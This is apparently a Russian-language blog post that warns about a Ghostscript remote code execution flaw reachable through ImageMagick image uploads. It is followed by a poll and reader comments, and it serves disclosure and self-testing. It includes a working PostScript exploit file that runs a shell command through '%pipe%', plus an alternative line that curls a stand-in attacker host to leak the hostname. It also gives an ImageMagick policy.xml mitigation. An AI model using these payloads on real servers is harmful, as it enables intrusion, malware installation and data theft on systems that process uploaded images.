Удалённое выполнение кода через загрузку картинок на вашем сервере или локальном компьютере в ghostscript/imagick

    Кратко: если у вас на сайте есть загрузка изображений и вы обрабатываете их при помощи популярной библиотеки ImageMagick, то загрузив картинку можно выполнить shell-команду с правами юзера веб-сервера (например: загрузить RAT, майнер, слить исходники, получить доступ к базе, вызвать отказ и т.п.)

    Странно, что мимо хабросообщества прошла стороной новость (оригинал) о новых дырах в библиотеке GhostScript и как следствие множестве других библиотек, использующих её под капотом. Итак, что мы имеем?

    Как проверить, что ваш сервер уязвим?

    Берём и загружаем тестовый .ps файл на сервер вместо картинки. Пример файла ниже не сильно вредит — лишь делает 5-секундную задержку. Если сервер отвечает дольше 5 секунд, то у вас проблема: или ваш сервис уязвим или он оооочень медленно работает =)

    %!PS
    % This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654).
    
    userdict /setpagedevice undef
    a4
    
    currentpagedevice /HWResolution get 0 (foobar) put
    { grestore } stopped clear
    
    % make sure we have a device with OutputFile
    (ppmraw) selectdevice
    
    mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops
    
    { showpage } stopped pop
    quit
    

    Ключевая команда: sleep 5

    Альтернативной командой может быть

    mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops

    или что-то гораздо менее безобидное.

    Векторов эксплуатации множество. Кроме загрузки в обработчик картинок можно просто прислать ссылку на .ps файл жертве и так как в большинстве ОС при сохранении его на компьютер создаётся превью, это также вызывает эксплуатацию (проверено лично на Linux десктопе). На момент написания ни один антивирус не детектил тестовые .ps файлы как опасные.

    Что делать?

    К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии.

    На серверах можно сделать предварительную проверку типа изображения сторонней библиотекой, фильтрацию через policymap файл ImageMagick/policy.xml и не обрабатывать уязвимые типы файлов. Также SELinux должен закрыть часть векторов атак, например запись в нестандартные папки.

    UPD: в комментариях пишут что уязвимость всё ещё не исправлена в библиотеке!

    UPD2: фикс для фикс для imagemagick для запрещения использования PostScript и PDF файлов от elvenpath: в файле /etc/ImageMagick-6/policy.xml или /etc/ImageMagick-7/policy.xml в зависимости от версии ImageMagick нужно написать:
    <policymap>
     <policy domain="coder" rights="none" pattern="{EPS,PS2,PS3,PS,PDF,XPS}" />
    </policymap>
    

    Only registered users can participate in poll. Log in, please.

    А ты проверил свой сервер?

    • 33.9%У меня неуязвимый сервер39
    • 5.2%У меня была уязвимость, но теперь её нет6
    • 60.9%У меня и проверять то нечего70
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 5

      +5
      Не хватает опции: уязвим и пока не исправлен. Спасибо!
        +1
        Я думаю, это такое напоминание о том, что сервера таки надо обновить.
          0
          И список сайтов в приложении :)
          +2
          К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии — нужна та что свежее 28 августа.

          Судя по обсуждению, баги все еще есть, сообщение размещено 11 часов назад.
          bugs.chromium.org/p/project-zero/issues/detail?id=1640
          Last night Artifex committed this fix for 699714:

          I didn't think that fix was complete, and found a trivial variant that still works, which I filed as bug 699718.

          $ ./gs -dSAFER bug699718.txt
          GPL Ghostscript GIT PRERELEASE 9.25 (2018-09-03)
          Copyright © 2018 Artifex Software, Inc. All rights reserved.
          This software comes with NO WARRANTY: see the file PUBLIC for details.
          uid=1000(taviso) gid=1000(primarygroup)

          Т.е. все равно можно творить безобразия. Проверял сервисы конвертирования картинкок на уязвимости (чтобы написать владельцам), порадовал конвертер из heic — heic2jpeg.com, если ему подсунуть PS файл то выдает картинку с просьбой его не хакать, а лучше оформить донат :)
            0
            Похоже что исправление может растянуться надолго :( обновил пост

            С донатом интересная пасхалка =)

          Only users with full accounts can post comments. Log in, please.